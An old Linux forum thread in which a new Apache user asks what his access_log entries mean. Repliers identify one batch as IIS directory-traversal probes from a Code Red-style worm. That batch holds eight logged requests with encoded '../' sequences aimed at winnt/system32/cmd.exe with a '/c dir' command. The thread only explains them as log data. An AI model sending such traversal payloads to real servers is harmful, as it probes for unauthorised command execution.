LinuxQuestions.org
Visit Jeremy's Blog.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Networking
User Name
Password
Linux - Networking This forum is for any issue related to networks or networking.
Routing, network cards, OSI, etc. Anything is fair game.

Notices

Reply
 
LinkBack Search this Thread
Old 10-31-2003, 07:24 PM   #1
WorldBuilder
Member
 
Registered: Mar 2003
Location: Massachusetts, USA
Distribution: RH 8, Solaris, Windoze eXPunged
Posts: 520

Rep: Reputation: 30
Apache access_log question


What do entries like these mean in the access_log file?

Code:
127.0.0.1 - - [31/Oct/2003:14:49:58 -0800] "GET /~eliteboo/ HTTP/1.1" 403 309 
192.168.0.5 - - [31/Oct/2003:14:50:01 -0800] "GET /~eliteboo/ HTTP/1.1" 403 309 
192.168.0.5 - - [31/Oct/2003:14:50:01 -0800] "GET /favicon.ico HTTP/1.1" 404 306
Are they errors or are they just informative? I'm a little new to apache. What exactly are these entries telling me, I mean, What is the GET, ~eliteboo, 403, 306, etc... Thanks!

Chris
 
Old 10-31-2003, 07:39 PM   #2
WorldBuilder
Member
 
Registered: Mar 2003
Location: Massachusetts, USA
Distribution: RH 8, Solaris, Windoze eXPunged
Posts: 520

Original Poster
Rep: Reputation: 30
If I tail -f the access_log file, I constantly see these types of messages appear. When I try to ping or traceroute the IP addresses mentioned, they are always timing out. What are these?! Ugh, it's annoying...

Chris
 
Old 10-31-2003, 07:56 PM   #3
zaphodiv
Member
 
Registered: Oct 2003
Distribution: Slackware
Posts: 388

Rep: Reputation: 30
What about those entrys do you find unusuall?
127.0.0.1 is your computer, 192.168.0.5 is a reserved for LAN ip address.
Favicon.ico is an internet explorer 'feature'. It trys to get an icon to use in the favourites list (and elsewhere in IE6+)
 
Old 10-31-2003, 08:06 PM   #4
WorldBuilder
Member
 
Registered: Mar 2003
Location: Massachusetts, USA
Distribution: RH 8, Solaris, Windoze eXPunged
Posts: 520

Original Poster
Rep: Reputation: 30
Sorry... Those were bad examples... Stuff like this is more troublesome...

Code:
24.98.20.14 - - [08/Jun/2003:14:40:48 -0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
24.98.20.14 - - [08/Jun/2003:14:40:54 -0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
24.98.20.14 - - [08/Jun/2003:14:40:57 -0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
24.98.20.14 - - [08/Jun/2003:14:40:59 -0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
24.98.20.14 - - [08/Jun/2003:14:41:11 -0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 295
24.98.20.14 - - [08/Jun/2003:14:41:13 -0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 295
24.98.20.14 - - [08/Jun/2003:14:41:15 -0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
24.98.20.14 - - [08/Jun/2003:14:41:17 -0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
What is all that?
 
Old 10-31-2003, 08:19 PM   #5
zaphodiv
Member
 
Registered: Oct 2003
Distribution: Slackware
Posts: 388

Rep: Reputation: 30
Yawn, another Frequently Asked Question.

That is probably a windows machine which is infected with the codered virus, it might be a different virus/worm which uses the same exploit or a script kid.

It is an exploit for IIS, (internet information server), microsoft's very insecure web server software.
 
Old 11-01-2003, 05:24 AM   #6
WorldBuilder
Member
 
Registered: Mar 2003
Location: Massachusetts, USA
Distribution: RH 8, Solaris, Windoze eXPunged
Posts: 520

Original Poster
Rep: Reputation: 30
Thus why it's seemingly attempting to access a MS directory (../winnt/system32/cmd.exe)? Ok, I'm fine then. Thanks! I was just making sure that something wasn't actually getting IN. Sorry if it was a stupid question, zaphodiv, but I did search for access_log and apache". After 15 minutes of searching, I gave up.
 
Old 11-01-2003, 06:30 AM   #7
Pete M
Member
 
Registered: Aug 2003
Location: UK
Distribution: Redhat 9 FC 3 SUSE 9.2 SUSE 9.3 Gentoo 2005.0 Debian Sid
Posts: 657

Rep: Reputation: 30
cjwsb

Just did a search on Yahoo using the following line, it provides a wealth of information

"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304"

Pete
 
Old 11-01-2003, 06:05 PM   #8
WorldBuilder
Member
 
Registered: Mar 2003
Location: Massachusetts, USA
Distribution: RH 8, Solaris, Windoze eXPunged
Posts: 520

Original Poster
Rep: Reputation: 30
Thx, Pete...

Googled that and you're right... A wealth!

Chris
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Trackbacks are Off
Pingbacks are On
Refbacks are Off


Similar Threads
Thread Thread Starter Forum Replies Last Post
How to read the access_log of Apache? Kayaker Slackware 12 06-02-2009 01:22 PM
apache access_log questions shilo Linux - Software 9 06-07-2004 02:40 PM
apache access_log permissions mirage_3d Linux - Networking 2 12-06-2003 08:54 PM
apache access_log to printer plisken Linux - Software 4 02-11-2003 05:54 PM
Apache Log file (httpd.access_log) question eallen Linux - Networking 2 07-02-2002 10:29 AM


All times are GMT -5. The time now is 12:55 AM.

Main Menu
 
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
identi.ca: @linuxquestions
Facebook: @linuxquestions
Open Source Consulting | Domain Registration